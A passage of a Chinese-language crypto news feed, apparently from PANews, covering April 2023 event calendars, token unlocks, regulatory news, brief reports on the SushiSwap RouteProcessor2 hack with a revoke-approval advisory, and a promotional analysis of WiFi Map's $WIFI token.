的合约，名为"Reddit Avatars"，并计划于下周推出。 阿里版ChatGPT内测已在进行，或将于4月11日公布 从圈内人士得到的消息称，阿里将在4月11日推出大模型产品，18日推出行业应用类模型。之前，有博主测试了天猫精灵，发现已经上线了阿里版ChatGPT语音助手版。一位阿里内部人士确认，这是测试版，天猫精灵的确已经接入了大模型产品，并且大模型产品已经在阿里内部各个产品线接入并进行了内测，表现很惊艳。 治理投票： Aave社区关于将V3部署至StarkNet的温度检查投票将于4月11日截止 Aave社区此前发起了“将Aave V3部署至StarkNet”的温度检查（Temp Check）投票。根据该提案，Aave与StarkNet的集成计划分两个阶段进行，其中第一阶段为在以太坊和StarkNet之间为aTokens部署跨链桥，第一阶段已获社区投票通过。而此次提案旨在完成第二阶段，即在StarkNet上全面部署Aave协议。投票将于4月11日截止，此次投票若通过，该提案还需接受链上投票。 代币解锁： 378,788枚DYDX（价值约合935,606美元）将于4月11日解锁 项目动态： RON 质押功能上线，验证者须在4月12日前设置节点 为了纪念去年发生的 6.25 亿美元黑客事件，Axie Infinity的Ronin区块链进行了技术升级，并扩展了新的游戏IP。这项升级旨在提高交易速度和降低费用。升级后该链将从“授权证明（proof-of-authority）”转变为“委托权益证明(delegated proof-of-stake)”。此外，RON 质押功能上线，验证者必须在 4 月 12 日之前设置他们的节点。 BNB Chain预计将于4月12日启动Planck硬分叉升级 BNB Chain 将在区块高度 27,281,024 处进行代号为Planck的硬分叉升级，基于当前网络出块速度，预测该升级将于北京时间4月12日13:30启动。核心团队表示，此次升级旨在增强网络的安全性和稳定性。主网验证者和全节点运营者应在2023年4月12日之前将其软件版本切换至 v1.1.21。 Celsius Network将于4月12日提交重组计划的披露声明 加密贷款机构Celsius Network正推进其第11章重组计划，并将在4月12日提交一份披露声明。 Celsius表示，该披露声明将提供重组计划摘要、账户持有人资金收回百分比、常见问题解答以及有关某些风险因素的信息。此外，该声明还将为债权人提供"足够的信息"，以便他们对NovaWulf发起的重组计划进行投票。 有关“Deltec银行移交与Alameda Research有关的资产”的听证会于4月12日举行 FTX 律师近日向美国特拉华州破产法院提议命令 Deltec International Group（DIG，Deltec银行母公司）移交与 Alameda Research 和前 FTX 高管 Ryan Salame 相关的承兑汇票的资产。该提议相关的听证会定于 4 月 12 日举行。 PROOF推出新策展计划PROOF Curated，现场展览于4月12日开始举行 Moonbirds母公司PROOF推出新策展计划PROOF Curated，艺术家Emily Xie担任第一位策展人，首次展览包括Evolving Pixels与Venus Over Manhattan，现场展览于4月12日至24日在纽约举行。 代币解锁： 3,210,145枚APT（价值约合3981万美元）将于4月12日解锁 项目动态： 以太坊主网将于北京时间4月13日进行上海（Shapella）升级 以太坊Shapella升级将于北京时间4月13日06:27:35在epoch 194048处激活。 法庭文件：Voyager和Binance.US的法律争议需在4月13日之前解决以维护债权人价值 根据4月3日提交的一份法律文件，如果美国政府提出的法律异议未能在4月13日之前得到解决，Voyager公司及其债权人将损失1亿美元。 这家破产的加密货币贷款机构正在采取紧急法律行动，让Binance.US以10亿美元的价格将其收购。Voyager债权人在一份文件中称：在4月13日之前完成该计划对于维护巨大的债权人价值是必要的，如果交易未能完成，Voyager的债权人将损失大约1亿美元的价值。 币安将支持以太坊Shapella升级，计划于4月13日6:20暂停ETH和ERC-20充值和提现 币安宣布将支持以太坊网络的Shapella升级，以太坊网络的Shapella升级将于北京时间4月13日06:27:35在epoch 194048处激活，大约从4月13日6:20开始，将暂停通过以太坊网络进行的ETH和ERC-20代币的充值和提现，并在升级完成网络稳定后，重新开放ETH和 ERC-20代币的充值和提现。 交易所： 受监管影响，币安澳大利亚分部从4月14日起将不再支持增加衍生品头寸或开立新头寸 澳大利亚证券投资委员会（ASIC）吊销了币安澳大利亚分部衍生品金融服务许可证。取消后，自2023年4月14日起，客户将无法在币安增加衍生品头寸或开立新头寸；币安将要求客户在2023年4月21日之前关闭现有的所有衍生品头寸；2023年4月21日，币安将关闭所有剩余的未平仓头寸。 项目动态： NBA将在鲸探发行可变数字藏品，预计发售日期为4月14日和16日 蚂蚁集团旗下鲸探App上架首个可变化数字藏品“NBA季后赛球场盲盒”。该款藏品形态可基于NBA赛事结果变化升级，用户还可根据链上地址在“区块链信息查询”中查看持有藏品的变化信息。鲸探平台信息显示，预计正式发售日期为4月14日和4月16日。 EOS EVM已完成安全审计，将于4月14日推出主网Beta版 据EOS网络基金会创始人和首席执行官Yves La Rose推特，EOS EVM已成功通过了由Sentnl_IO进行的安全审计，EOS EVM主网Beta版将在4月14日如期上线。 Gala Music将于4月14日发售大卫·鲍伊歌曲《Let’s Dance》NFT版本 Web3初创公司Gala Games旗下音乐平台Gala Music与音乐制作人Larry Dvoskin和发行商Warner-Chappell Music合作，将于4月14日发行已逝世的英国摇滚歌手大卫·鲍伊（David Bowie）1983年的热门歌曲《Let’s Dance》的限量NFT版本。 dYdX退出加拿大市场，将从4月14日起结束对客户的交易支持 dYdX于4月7日宣布将退出加拿大市场，对现有客户的交易支持将于4月14日结束。从4月7日开始，dYdX将停止在加拿大招募新用户，但现有用户仍将有一周时间可继续进行交易。从北京时间4月15日凌晨1点起，加拿大所有用户将转为仅平仓模式，用户可随时取款。 链游Arcade Galaxy将于4月14日发布BETA测试版 Arcade Galaxy将于4月14日发布其BETA测试版。Arcade Galaxy是一款免费的多人在线的趣味赛车游戏，有移动和网页端游戏平台。该游戏采用“Play and Earn”机制，主要代币为RCADE，其Creator's Tool和Logic Editor允许用户创建自己的迷你游戏关卡，并在其中与其他人竞争。 Iron Fish主网上线推迟，KYC截止日期延长至4月14日 隐私网络Iron Fish将原定于3月14日的主网上线推迟至4月20日，用户将有更多时间完成KYC。兑换门户对所有参与者开放，新的KYC截止日期是4月14日，所有符合条件的测试网用户将于4月21日获得空投。 治理投票： Uniswap社区进行“BSL过期后跨链部署和新uniswap.eth子域名创建”的温度检查投票，4月14日截止 Uniswap社区正就“商业源代码许可证（BSL）过期后跨链部署和新uniswap.eth子域名创建”提案进行温度检查投票，投票将于4月14日截止。 代币解锁： 7,343,750枚APE（价值约合3202万美元）将于4月16日解锁  ( 3 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.09）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    PA日报 | SushiSwap合约遭受攻击；Coinbase计划集成比特币闪电网络
    周末要闻提示： 1.香港财政司司长：政府将对Web3采取“适当监管”和“推动发展”两者并重的策略 2.Facebook宣布将于4月11日起结束对数字收藏品的支持 3.SUSHI RouteProcessor2 遭受攻击，损失约334万美元 4.Coinbase CEO: 计划集成比特币闪电网络 5.外媒：英格兰银行正组建30人的数字货币团队开发CBDC 6.加密风投基金Variant Fund推出加速器计划“Variant Founder Fellowship” 7.数据：比特币Ordinals铭文累计铸造量已突破100万 8.歌星林俊杰所购Decentraland虚拟地产已浮亏91% 监管消息 香港财政司司长：政府将对Web3采取“适当监管”和“推动发展”两者并重的策略 香港特区政府财政司司长陈茂波在香港特区政府网站发表司长随笔《发展 Web3—守正创新 稳慎前行》，称《财政预算案》提出推动香港高质量发展三大方向，认为当中数字经济和第三代互联网(Web3)的应用，都极具发展潜力。单是在这个星期，就有最少四个与Web3、数字经济、金融科技等相关的大型研讨会或嘉年华活动在香港举行，当中个别活动更预计有超过一万人次实体参与。陈茂波表示，过去一段时间虚拟资产巿场大幅波动，以至有虚拟资产交易所倒闭，都让一些人怀疑Web3的前景，但这正是推动Web3发展的最好时机。政府将采取“适当监管”和“推动发展”两者并重的策略，包括于今年6月引入虚拟资产服务提供者发牌制度，亦正研究稳定币等监管，确保虚拟资产行业可持续和负责任发展。 外媒：英格兰银行正组建30人的数字货币团队开发CBDC 据《星期日泰晤士报》报道，英格兰银行正在寻求组建一个多达 30 人的团队来开发中央银行数字货币 (CBDC)，但没有说明从哪里得到的这个数字。该项目在媒体上被称为“Britcoin”，但该央行并不那么热衷于这个绰号，并表示尚未就数字英镑是否会使用分布式账本技术做出决定。 NFT NBA将在鲸探发行可变数字藏品，预计发售日期为4月14日和16日 据雷锋网报道，蚂蚁集团旗下鲸探App上架首个可变化数字藏品“NBA季后赛球场盲盒”。该款藏品形态可基于NBA赛事结果变化升级，用户还可根据链上地址在“区块链信息查询”中查看持有藏品的变化信息。鲸探平台信息显示，预计正式发售日期为4月14日和4月16日。 据了解，该款藏品将以4个盲盒的形式对外发售，每个盲盒内含4支进入NBA季后赛球队的球场模型，4个盲盒共内含16支获取季后赛资格的球队。每支球队藏品发售5000份，球队对应的数字藏品会跟随季后赛结果进行升级或者停止升级，具体来说，如果球队晋级则藏品升级，球队淘汰则停止升级。 Facebook宣布将于4月11日起结束对数字收藏品的支持 Facebook在其帮助中心发布公告称，将逐步结束对数字收藏品的支持。这些变更将于2023年4月11日起开始生效。用户第三方电子钱包内容不会受到影响。 届时，用户将无法再在Facebook创建新的数字收藏品帖子；用户分享的所有收藏品仍将以帖子的形式留存，但不会包含任何闪光特效和区块链信息，用户仍可以随时删除这些帖子。此外，Facebook将不再与用户的第三方电子钱包绑定或将用户的帐户与第三方电子钱包关联，用户将无法再在关联的选项卡中查看自己的数字收藏品或管理第三方电子钱包绑定设置。用户将无法再访问或下载与收藏品相关的个人信息。如果想要下载个人信息，请于2023年4月11日前提交申请。Facebook将开始删除系统中的数字收藏品数据，包括用户的钱包地址。数据的存储和删除将遵照其隐私权政策和数字收藏品使用条款进行。 项目动态 SushiSwap攻击进展更新：第一个攻击者已归还90枚ETH，仍有超1200个地址未撤销授权 可视化分析工具MetaSleuth发推称，SushiSwap RouteProcessor2合约攻击事件导致0xsifu（sifuvision.eth）损失1800枚ETH。第一个攻击者（0x9deff）已归还90枚ETH（共盗取100枚ETH）。BlockSec帮助挽救100枚ETH，很快就会归还。此外，sifuvision.eth与c0ffeebabe.eth正在进行谈判。大部分被盗资金流向beaverbuild、rsync-builder和Lido:Execution Layer Rewards Vault。 此外，据Web3反诈骗工具Scam Sniffer数据显示，仍有超1200个地址未撤销SushiSwap合约漏洞相关权限。其中Arbitrum网络达717个，占比约56%。 今日早些时候报道，SUSHI RouteProcessor2 遭受攻击，损失约334万美元，请及时撤销对其的授权。 Arbitrum提议将基金会剩余的7亿枚ARB返还给DAO，目前支持率超八成 Arbitrum社区发起AIP1.05提案，提议Arbitrum基金会将7亿枚ARB返还给DAO Treasury。投票将于北京时间4月15日结束，目前支持率为83.12%。据此前消息，Arbitrum基金会已提交两项关于扩大ARB代币持有人监督和治理权力的新提案，以解决上周末加密货币治理崩溃一事。第一个提案AIP-1.1建议将基金会剩余的7亿ARB置于“智能合约控制的锁定”中，四年内解锁。第二个提案AIP-1.2旨在修改Arbitrum生态系统的几个治理文件，包括将在链上发布改进提案所需的ARB代币数量的门槛从500万降低到100万。 Coinbase CEO: 计划集成比特币闪电网络 Coinbase首席执行官Brian Armstrong在推特上回应网友称，比特币闪电网络很棒，Coinbase计划集成它。 此外，Coinbase等多个加密公司任命新高管并在海外市场扩张。 据Blockworks报道，Coinbase要求赔偿与内幕交易调查相关的47万美元成本。 加密风投基金Variant Fund推出加速器计划“Variant Founder Fellowship” 据官方消息，加密风投基金Variant Fund宣布推出首届Variant Founder Fellowship，这是一个为期三个月的加速器计划，面向处于创业初期的Web3创始人。参与者将可以访问Variant由创始人、建设者和专家组成的同行网络，向Web3专家学习，并获得Variant团队的实际指导和支持。报名截止日期为2023年4月17日。 Starknet：没有发布代币或空投，用户应谨防诈骗 以太坊Layer 2网络Starknet在推特发文提醒，表示目前在Discord、Twitter、Telegram出现了大量虚假私信信息，声称Starknet正在发布代币或空投。Starknet表示这些账户都是虚假骗局。 重要数据 数据：比特币Ordinals铭文累计铸造量已突破100万 Duna Analytics数据显示，比特币Ordinals铭文累计铸造量已突破100万个，目前为1,007,163个，累计费用收入达168.2727枚BTC。 数据：过去一周Circle USDC流通量减少2亿美元 据官方数据，过去7天Circle共发行6亿美元USDC，赎回25亿美元USDC，流通量减少约19亿美元。截至3月30日，USDC总流通量为326亿美元，储备量为328亿美元，其中现金44亿美元，短期美国国债284亿美元。 歌星林俊杰所购Decentraland虚拟地产已浮亏91% 据IT之家援引元宇宙分析平台WeMeta数据报道，2017 年元宇宙每平方米土地成交价中位数为 20 美元，2021 年这一数字升至 6000 美元。然而，目前全球最大的元宇宙地产销售平台 Decentraland 的成交价中位数已从 2022 年的 45 美元跌至 5 美元，下跌近 90%。另据中国证券报报道，2021年11月，林俊杰花 12.3 万美元在 Decentraland 购买的 3 块虚拟地产，目前价值仅为约 1 万美元，浮亏 91%。除了价格暴跌外，林俊杰这三块地人气也是“门可罗雀”。根据平台提供的一周访问量，这三块地几乎无人问津。  ( 2 min )
    外媒：英格兰银行正组建30人的数字货币团队开发CBDC
    PANews 4月9日消息，据《星期日泰晤士报》报道，英格兰银行正在寻求组建一个多达 30 人的团队来开发中央银行数字货币 (CBDC)，但没有说明从哪里得到的这个数字。该项目在媒体上被称为“Britcoin”，但该央行并不那么热衷于这个绰号，并表示尚未就数字英镑是否会使用分布式账本技术做出决定。  ( 1 min )
    歌星林俊杰所购Decentraland虚拟地产已浮亏91%
    PANews 4月9日消息，据IT之家援引元宇宙分析平台WeMeta数据报道，2017 年元宇宙每平方米土地成交价中位数为 20 美元，2021 年这一数字升至 6000 美元。然而，目前全球最大的元宇宙地产销售平台 Decentraland 的成交价中位数已从 2022 年的 45 美元跌至 5 美元，下跌近 90%。另据中国证券报报道，2021年11月，林俊杰花 12.3 万美元在 Decentraland 购买的 3 块虚拟地产，目前价值仅为约 1 万美元，浮亏 91%。除了价格暴跌外，林俊杰这三块地人气也是“门可罗雀”。根据平台提供的一周访问量，这三块地几乎无人问津。  ( 1 min )
    SushiSwap攻击进展更新：第一个攻击者已归还90枚ETH，仍有超1200个地址未撤销授权
    PANews 4月9日消息，可视化分析工具MetaSleuth发推称，SushiSwap RouteProcessor2合约攻击事件导致0xsifu（sifuvision.eth）损失1800枚ETH。第一个攻击者（0x9deff）已归还90枚ETH（共盗取100枚ETH）。BlockSec帮助挽救100枚ETH，很快就会归还。此外，sifuvision.eth与c0ffeebabe.eth正在进行谈判。大部分被盗资金流向beaverbuild、rsync-builder和Lido:Execution Layer Rewards Vault。 此外，据Web3反诈骗工具Scam Sniffer数据显示，仍有超1200个地址未撤销SushiSwap合约漏洞相关权限。其中Arbitrum网络达717个，占比约56%。 今日早些时候报道，SUSHI RouteProcessor2 遭受攻击，损失约334万美元，请及时撤销对其的授权。  ( 1 min )
    慢雾：SUSHI RouteProcessor2 遭受攻击，请及时撤销对其的授权
    PANews 4月9日消息，据慢雾安全团队情报分析，SUSHI RouteProcessor2 遭到攻击。慢雾安全团队以简讯的形式分享如下： 1. 根本原因在于 ProcessRoute 未对用户传入的 route 参数进行任何检查，导致攻击者利用此问题构造了恶意的 route 参数使合约读取的 Pool 是由攻击者创建的。 2. 由于在合约中并未对 Pool 是否合法进行检查，直接将 lastCalledPool 变量设置为 Pool 并调用了 Pool 的 swap 函数。 3. 恶意的 Pool 在其 swap 函数中回调了 RouteProcessor2 的 uniswapV3SwapCallback 函数，由于 lastCalledPool 变量已被设置为 Pool，因此 uniswapV3SwapCallback 中对 msg.sender 的检查被绕过。 4. 攻击者利用此问题在恶意 Pool 回调 uniswapV3SwapCallback 函数时构造了代币转移的参数，以窃取其他已对 RouteProcessor2 授权的用户的代币。 幸运的是部分用户的资金已被白帽抢跑，有望收回。慢雾安全团队建议 RouteProcessor2 的用户及时撤销对 0x044b75f554b886a065b9567891e45c79542d7357 的授权。 今日早些时候报道，SushiSwap项目疑似被攻击，损失约334万美元。  ( 2 min )
    详解 DeWi 项目 WiFi Map：1.5 亿用户的 App 搭上了 Web3 的列车
    作者 | 黑米，白泽研究院 一个新兴领域正在 Web3 中兴起——DeWi，即去中心化无线。 通过建立基于区块链技术的激励机制，借助“大众的力量”或网络运营商提供热点，用户以无需信任、无需许可和可编程的方式创建和管理去中心化的无线网络，而不再是由单一的、集中式的电信公司运营。 在这其中，Helium、Karrier One、Pollen Mobile、Hexagon 等项目脱颖而出。 但是，如果我告诉你有一个 DeWi 项目拥有 400 万每月活跃用户，产品有着超过 1.5 亿次下载，并且在应用商店被超过 200 万人评为 4.6 分？  很多人可能难以置信，但这就是事实。 这就是在今年第一季度从 Web2 过渡到 Web3 的公共热点网络 WiFi Map。 WiFi Map 成立于 2014 年，旨在成为一个“社区驱动的无线网络和自筹资金的初创公司”。由 Denis Sklyarov（首席执行官）和 Igor Goldenberg （首席技术官）共同创立，如今已在全球范围内发展到约 30 名团队成员。 Denis 和 Igor 曾在屡获殊荣的移动应用程序软件开发公司 Kenlo Group 共事，直到他们意识到有大量的人无法在连接可靠的互联网的情况下环游世界。 在当时，人们会在 Foursquare、Facebook、Tripadvisor 和其他平台上搜寻他们旅行目的地的详细信息，以提前了解是否有 WiFi。这对精打细算的旅行者来说是必不可少的，因为当时的移动数据非常昂贵。 在看到一些平台上的用户乐于与陌生人分享这些信息而不期望任何回报时，他们萌生了一个想法：是否可以将所有这些信息集中在一个应用程序上？以便人们可以快速、简单地访问。 早期的 WiFi Map 便应运而生，作为联创，二者每月可以获得 300 美元的应用程序收入。 不过，因为 WiFi Map 是以由旅行者、网络基础设施不足的国家民众组成的社区为驱动的，当他们增设了“添加 WiFi”的按钮后，很多人开始自愿添加热点。此后，WiFi Map 陆续添加了更多的“用户服务”，例如 WiFi 全球热点地图（可离线查看）、eSIM 计划（当 WiFi 不可用时的移动数据）、VPN 服务和网络速度测试。使之在印度尼西亚、印度等低收入国家被迅速采用。 最终，这个由贡献者组成的社区成为了一支有影响力的军队。创始人会分享应用程序的幕后开发，然后社区会在 Twitter 和其他社交平台上谈论 WiFi Map。 WiFi Map 在没有任何营销的情况下走向了世界。 在接下来的 8 年多里，WiFi Map 围绕热点共享和隐私建立了强大的双向经济。他们通过应用内的“积分”系统已经激励了超过 1300 万贡献者添加了超过 1 亿个 WiFi 热点，同时“积分”可以让贡献者在消费时打折。 这种“没有代币”的 DeWi 项目的最终结果是，他们现在正在为全球 200 多个国家/地区的 1.5 亿用户提供服务。 WiFi Map 的核心依然是“连接性”，就像我们今天看到的其他 DeWi 网络一样。只不过，他们并没有激励参与者部署硬件来构建新网络，而是利用现有的基础设施（公共/私人 WiFi 热点、本地手机信号塔），并改善了用户访问它们的简易性。 这种模式让 WiFi Map 进入了一个正飞轮： 应用程序的更多下载=更多的贡献者和用户 更多的贡献者 = 更多映射的 WiFi 热点 更多的贡献者+更多的 WiFi 热点=应用程序增值 应用程序增值=更多的广告商 更多的广告收入=拓展用户服务 拓展用户服务=更多下载 根据 Data.ai 的数据，WiFi Map 目前的每年应用内收入约为 65 万美元。 根据公开信息，他们正在或希望通过以下三个渠道增加收入： 1. 额外服务付费订阅（核心产品仍然免费） 有三个付费订阅服务，“Pro”、“VPN”和“Pro+VPN”，并且按月付费和按年付费的价格还是有区别的。 在这里我们简单计算，假设所有的付费用户都是选择了最高级别的“Pro+VPN”。 假设 65 万美元的每月收入主要归因于付费订阅，那么大概只有 18,500 名付费用户。（65 万美元/35美元订阅费=18,571 名付费用户） PS：一些用户可能选择了更便宜的订阅服务，因此现实情况的用户总数可能会更多。 作为一个拥有 1.5 亿总用户、只有约 18,500 名付费用户的应用程序，WiFi Map 当前每年收入为 65 万美元。但随着 WiFi Map 的继续发展，在付费用户增长十倍（≈18.5 万）的情况下，每年收入将增至 650 万美元。 2. 应用内广告 餐馆、商店等广告商可以付费在 WiFi Map 的热点地图上突出显示。虽然 WiFi Map 目前还没有通过这种方式获利，但计划未来会这样做。 按收入计算，谷歌是 2022 年全球最大的以广告为主要收入的公司。谷歌在 2019 年第二季度的 15 亿次广告展示和 4200 万次浏览的 CPM (cost per thousand views) 约为 40 美元。CPM 代表了每千次浏览的成本。 那么 WiFi Map 的 400 万月活用户/1000 = 4000。4,000 * 40 美元 (CPM) = 每月广告收入 160,000 美元 = 每年广告收入 192 万美元。 即在现有用户量的情况下，WiFi Map 一年的广告收入约为 192 万美元。  3. 集成第三方服务 这种渠道目前没有太多公开信息，可能 WiFi Map 会在未来与其他行业的公司合作。 WiFi Map 可以集成其他公司的第三方服务，为用户提供更多的便利。例如，在 WiFi Map 内集成 Uber 打车、酒店预订、旅行预订、汽车租赁。 在这种情况下，假设 WiFi Map 使用佣金结构，只对在应用内下单第三方服务的客户收取佣金。一般酒店、汽车/摩托车租赁、旅行社等第三方服务的佣金百分比范围约为 10~17%。 那么简单计算如下： 假设 400 万月活用户中，有 10% 的人每月在第三方服务上花费 10 美元。40 万月活用户 * 每年 120 美元的支出 * 10% 的佣金=每年 480 万美元的佣金收入。 综上所述： 在没有用户增长的情况下，WiFi Map 通过上述三个渠道的预计年收入 = 737 万美元。 如果用户量增长 10 倍，那么这一数字 = 7370 万美元。 从 2023 年 2 月 15 日到 2023 年 3 月 15 日，该应用在 Google Play 和 Apple App Store 中获得了约 185 万次下载，环比增长约 20%。虽然并非所有新用户都会变成活跃用户，但这是 WiFi Map 走向将其用户群扩大 10 倍的坚实道路。 所以，这时你可能不禁好奇，既然 WiFi Map 有这么多收入优势，为何还要转向 Web3？不妨想想他们能够成功的因素之一——社区。 WiFi Map 生态系统的发展，脱离不了社区的支持。 虽然 WiFi Map 开发商为用户引入了许多便利的功能，但能够增长的关键还是在于社区成员自愿“添加热点”，换取可有可无的“积分”。 不论是继续吸引更多用户使用 App，还是激励社区成员增加热点的覆盖范围，WiFi Map 转向 Web3，成为一个可持续、自给自足的去中心化热点网络看起来都是必要的。 2022 年夏季，WiFi Map 宣布，将在 Polygon 网络上推出原生代币 $WIFI，取代“积分”作为价值存储、记账单位和交换媒介。需要注意的是，以往的“积分”不能与 $WIFI 代币 1:1 兑换。 其实代币并不是 WiFi Map 的首选，只是 PayPal 等支付方式的费用太昂贵，而且有许多国家不接受它。 Igor Goldenberg，WiFi Map CTO： 在我们有了 $WIFI 代币的想法之前，我们想激励那些做出最重要贡献的人，但我们遇到了一些技术问题。例如，我们查看了 PayPal，但费用是天文数字，而且有许多国家不接受它。加密是一种通用的轻量级技术，可以在世界任何地方访问。我们知道有些人会决定将其用作投机工具，我们对此没有问题，但对我们来说，它是一个很棒的工具，可以为我们提供所需的实用性。 $WIFI 的推出和分发是为了激励社区成员映射新的 WiFi 热点、刷新旧的热点，并可用于在 App 上换取所需的服务。 除了一般应用程序原生代币都有的质押功能之外，$WIFI 的亮点还在于：  1. WiFi Map 允许用户在 App 内使用 $WIFI 进行消费时，会以代币的形式返现消费价值的 15–20%。更有趣的是，通过法定货币在 App 内消费会以代币形式返现 3-5%。这是一种广泛的代币分配机制，可以让更多用户获得 $WIFI。 2. 用户使用 $WIFI 购买 eSIM 移动数据套餐时，会锁定 $WIFI，在套餐到期时，会退还给用户未使用的移动数据所对应数量的 $WIFI。 3. 在 App 内打赏提供热点的贡献者 4. 用于治理。鉴于该团队在近十年内成功激励了数百万贡献者，我相信他们会倾听那些每天使用他们应用程序的人的反馈。 ​ 此外，WiFi Map 还将致力于成为一个包含游戏化的去中心化网络，可能会与 Polygon 链上的其他项目合作，在 WiFi Map 热点地图上增加收集 NFT 的功能和其他游戏化元素。 $WIFI 总量为 10 亿： 31.5% 用于生态系统奖励和发展 20% 存入国库 18% 分配给团队和顾问 13% 分配给私人、公共投资者 10% 用于流动性 7.5% 用于营销 今年 3 月，WiFi Map 以每个代币 0.0125 美元的价格向私人投资者出售了 8.83% 的 $WIFI，筹集了约 110 万美元的资金。 3 月 30 日，他们以每个代币 0.025 美元的价格公开出售了 4.17% 的 $WIFI，再筹集约 100 万美元。 收益将用于扩大开发团队、增加应用内功能和服务，以及“在认为最佳时进行战略收购”。 WiFi Map 的使命是使互联网民主化。 这是一个由 Web2 社区构建的应用程序，凭借其 1.5 亿次应用程序下载和超过 1 亿个互联网热点，进入了 Web3 行业。 拓宽收入渠道 + 拓展更多对用户有利的服务 + Web3 激励机制 = 有助于 WiFi Map 走向巅峰 = 提升 Web3 的高度 WiFi Map 的 Web3 之旅，也可以让我们看到，即使是成功的 Web2 公司也可以深思熟虑地推出代币，尤其是在熊市中，以促进增长并建立自己的迷你经济。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。 参考来源： https://globalcoinresearch.com/2023/03/29/wifi-maps-embraces-crypto-for-next-phase-of-growth/ https://medium.com/wifi-map/interview-igor-goldenberg-co-founder-cto-at-wifi-map-fc112650a254  ( 4 min )
    毕马威、高盛和美国银行等因硅谷银行破产遭到投资者起诉
    PANews 4月9日消息，据彭博社报道，担任硅谷银行审计的毕马威，以及高盛、摩根士丹利、美国银行等硅谷银行股票或债券承销商，已因不实陈述导致硅谷银行倒闭而被投资者起诉。该诉讼已于当地时间7日提交给位于旧金山的美国联邦法院。除审计机构和承销商外，硅谷银行前首席执行官Greg Becker及多名董事和高管也遭到起诉。这似乎是首起针对硅谷银行审计公司和承销商的投诉。根据诉讼，被告共同“歪曲了硅谷银行的资产负债表、流动性和市场地位”，“低估并隐瞒了”该行面临的“风险规模”，这损害了硅谷银行自身证券投资组合的价值。  ( 1 min )
    香港财政司司长：政府将对Web3采取“适当监管”和“推动发展”两者并重的策略
    PANews 4月9日消息，香港特区政府财政司司长陈茂波在香港特区政府网站发表司长随笔《发展 Web3—守正创新 稳慎前行》，称《财政预算案》提出推动香港高质量发展三大方向，认为当中数字经济和第三代互联网(Web3)的应用，都极具发展潜力。单是在这个星期，就有最少四个与Web3、数字经济、金融科技等相关的大型研讨会或嘉年华活动在香港举行，当中个别活动更预计有超过一万人次实体参与。陈茂波表示，过去一段时间虚拟资产巿场大幅波动，以至有虚拟资产交易所倒闭，都让一些人怀疑Web3的前景，但这正是推动Web3发展的最好时机。政府将采取“适当监管”和“推动发展”两者并重的策略，包括于今年6月引入虚拟资产服务提供者发牌制度，亦正研究稳定币等监管，确保虚拟资产行业可持续和负责任发展。 相关阅读：香港财务司司长：加密市场刚经历崩溃，正是发展Web3最好时机  ( 1 min )
    Beosin：SushiSwap项目疑似被攻击，损失约334万美元
    PANews 4月9日消息，据区块链安全审计公司Beosin旗下Beosin EagleEye安全风险监控、预警与阻断平台监测显示，SushiSwap项目疑似被攻击，损失约1800ETH，约334万美元，Beosin安全团队正在对本次事件进行分析。建议有对0x044b75f554b886A065b9567891e45c79542d7357合约授权的用户尽快取消授权防止资金被盗。  ( 1 min )
    神鱼提醒ETH质押提现私钥的泄露风险，应制定紧急事件预案
    PANews 4月9日消息，神鱼推特发文称，下周就要上海升级了，2年多的ETH质押就要能提现了，大家有没有想过一个问题：这些质押节点的提现私钥有多少已经泄漏了？对于机构，尤其是提供中心化质押的机构，需要检查私钥保管方式及相关有权限人员的状态，检查服务器日志，监控后续提现状态，制定紧急事件预案。  ( 1 min )
    Lido：链下预言机代码修复程序已部署，stETH Rebase已完成
    PANews 4月9日消息，流动性质押协议Lido推特发文称，链下预言机代码的修复程序已经部署，并且随着预言机报告的完成，stETH Rebase已成功完成。据此前消息，Lido表示，由于链下预言机代码中的边缘案例错误，stETH Rebase将被延迟。Lido团队表示，此问题并不会影响用户资金安全，所有奖励仍将被正常记录。  ( 1 min )
    Arbitrum提议将基金会剩余的7亿枚ARB返还给DAO，目前支持率超八成
    PANews 4月9日消息，Arbitrum社区发起AIP1.05提案，提议Arbitrum基金会将7亿枚ARB返还给DAO Treasury。投票将于北京时间4月15日结束，目前支持率为83.12%。据此前消息，Arbitrum基金会已提交两项关于扩大ARB代币持有人监督和治理权力的新提案，以解决上周末加密货币治理崩溃一事。第一个提案AIP-1.1建议将基金会剩余的7亿ARB置于“智能合约控制的锁定”中，四年内解锁。第二个提案AIP-1.2旨在修改Arbitrum生态系统的几个治理文件，包括将在链上发布改进提案所需的ARB代币数量的门槛从500万降低到100万。  ( 1 min )
    a16z合伙人：将继续市场机会调整加密基金规模
    PANews 4月9日消息，据TechCrunch报道，谈及a16z去年推出规模达45亿美元的第四只加密基金时，a16z合伙人Arianna Simpson表示，生态系统已经发展到绝对支持这种规模的基金，这就是募集这种规模基金的原因。当被问及a16z是否会推出第五只加密基金时，Simpson表示，“我当然希望如此。”她补充说，a16z将继续根据在市场上看到的机会调整基金规模。在加入a16z之前，Arianna Simpson曾创立专注于加密货币的投资基金Autonomous Partners。  ( 1 min )
    数据：比特币Ordinals铭文累计铸造量已突破100万
    PANews 4月9日消息，Duna Analytics数据显示，比特币Ordinals铭文累计铸造量已突破100万个，目前为1,007,163个，累计费用收入达168.2727枚BTC。  ( 1 min )
    Paxful CEO: 为避免入狱，正制定计划使用自有资金补偿用户
    PANews 4月9日消息，P2P比特币交易所Paxful首席执行官兼联合创始人Ray Youssef宣布，他正在与法院制定一项计划，用自有资金补偿用户，以努力遵守法律并避免陷入更深层次的法律问题。Youssef表示，他有可能因为没有遵守法院关于归还Paxful冻结资金的命令而入狱，这促使他作出这一决定。他始终将用户资金放在第一位。据此前消息，Paxful的两位联合创始人 Artur Schaback和Mohamad (Ray) Youssef在美国特拉华州法庭上的激烈争执可能是4月4日Paxful突然关闭的真正原因。根据法庭文件，Schaback和Youssef于2015年共同创立了Paxful ，现在他们正在就公司的控制权提起诉讼，对彼此提出多项指控。  ( 1 min )
    Bankless：2023年表现强劲的五个加密叙事
